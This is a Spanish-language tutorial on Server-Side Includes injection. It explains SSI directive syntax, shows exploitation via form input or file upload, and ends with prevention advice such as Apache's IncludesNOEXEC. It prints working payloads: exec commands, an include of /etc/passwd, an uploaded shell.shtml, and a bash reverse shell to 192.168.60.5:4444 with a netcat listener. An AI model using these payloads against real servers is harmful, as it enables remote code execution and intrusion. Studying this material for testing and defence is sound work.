SSI (Server-Side Includes) Injection
Las inclusiones del lado del servidor (SSI) son una tecnología que usan las aplicaciones web para generar contenido dinámico en páginas HTML, soportada por servidores web populares como Apache e IIS. El uso de SSI a menudo se puede inferir de la extensión del archivo (.shtml, .shtm, .stm), aunque los servidores pueden configurarse para procesar directivas SSI en extensiones arbitrarias — por lo que no se puede descartar SSI solo por la extensión.
Directivas SSI
Una directiva SSI consta de: un name (nombre de la directiva), uno o más parameter name (nombres de parámetro), y sus value (valores) correspondientes. Sintaxis general:
<!--#name param1="value1" param2="value" -->printenv
Imprime todas las variables de entorno disponibles en el contexto del servidor — útil para reconocimiento inicial, ya que puede revelar rutas internas, versión del servidor, y otras variables de configuración:
<!--#printenv -->config
Configura opciones de comportamiento de SSI, como el formato de fecha o el mensaje de error mostrado ante un fallo:
<!--#config errmsg="Error!" -->echo
Imprime el valor de una variable específica. Se pueden imprimir varias variables en una sola directiva especificando varios parámetros var. Variables comunes soportadas:
DOCUMENT_NAME: nombre del archivo actual.DOCUMENT_URI: URI del archivo actual.LAST_MODIFIED: marca de tiempo de la última modificación del archivo.DATE_LOCAL: hora local del servidor.
<!--#echo var="DOCUMENT_NAME" var="DATE_LOCAL" -->exec — Ejecución de comandos (el vector de mayor impacto)
<!--#exec cmd="whoami" -->- Esta es la directiva más crítica desde una perspectiva ofensiva: ejecuta directamente un comando del sistema operativo con los privilegios del proceso del servidor web, sin ninguna sanitización adicional por parte de SSI. Si
execestá habilitada y se puede inyectar esta directiva, el resultado es RCE inmediata.
include
Incluye el contenido de otro archivo dentro de la página actual:
<!--#include virtual="index.html" -->virtual: ruta relativa a la raíz web. También existe el parámetrofile, que acepta rutas relativas al directorio actual — dependiendo de la configuración,include file="../../../../etc/passwd"puede ser explotable de forma similar a un path traversal/LFI si el servidor no restringe el traversal en este contexto.
Inyección SSI
La inyección SSI ocurre cuando un atacante logra que directivas SSI maliciosas terminen siendo procesadas por el servidor. Escenarios típicos:
- Una vulnerabilidad de carga de archivos permite subir un archivo con directivas SSI maliciosas a una ruta servida con SSI habilitado (por ejemplo, subiendo un archivo
.shtmlo cualquier extensión que el servidor procese como SSI). - Una aplicación web escribe la entrada del usuario directamente en un archivo dentro del directorio raíz web que luego se sirve con SSI activo (por ejemplo, un sistema de comentarios que guarda el texto en un archivo
.shtmlreutilizado como plantilla).
Payload de explotación directa
Si se identifica un punto de inyección (campo de formulario, nombre de archivo subido, comentario almacenado) que termina reflejado en un contexto SSI:
<!--#exec cmd="id" -->Para obtener una shell interactiva completa una vez confirmada la ejecución de comandos:
<!--#exec cmd="bash -c 'bash -i >& /dev/tcp/192.168.60.5/4444 0>&1'" -->- Requiere un listener activo (
nc -lvnp 4444) del lado del atacante antes de que el payload se ejecute.
Combinando SSI con carga de archivos
Si la aplicación permite subir archivos y el servidor está configurado para procesar SSI en ciertas extensiones (o incluso en todas, una configuración insegura pero existente en la práctica), se puede subir un archivo con la extensión adecuada conteniendo la directiva maliciosa:
❯ echo '<!--#exec cmd="id" -->' > shell.shtmlLuego acceder directamente al archivo subido para disparar la ejecución:
❯ curl http://<SERVER_IP>/uploads/shell.shtml- Antes de intentar esto, confirmar qué extensiones procesa SSI en el servidor objetivo (a menudo revelado por archivos
.shtmlya existentes en el sitio, o por la configuración de Apache/httpd.confsi es accesible vía algún otro vector de lectura de archivos).
Prevención
- Validar y sanitizar cuidadosamente toda entrada de usuario antes de insertarla en cualquier archivo servido con SSI habilitado, o antes de permitir su carga a una ruta donde SSI esté activo.
- Restringir el uso de SSI a extensiones de archivo específicas y, si es posible, a directorios concretos — evitar habilitar SSI de forma global en todo el sitio.
- Deshabilitar directivas específicas de alto riesgo cuando no sean necesarias — en particular,
execdebería estar deshabilitada salvo que exista una necesidad de negocio explícita, ya que es la única directiva que habilita ejecución de comandos directa. - En Apache, esto se controla con la directiva
Options +IncludesNOEXEC(habilita SSI pero deshabilita específicamenteexec) en vez deOptions +Includes(que habilita todas las directivas, incluyendoexec).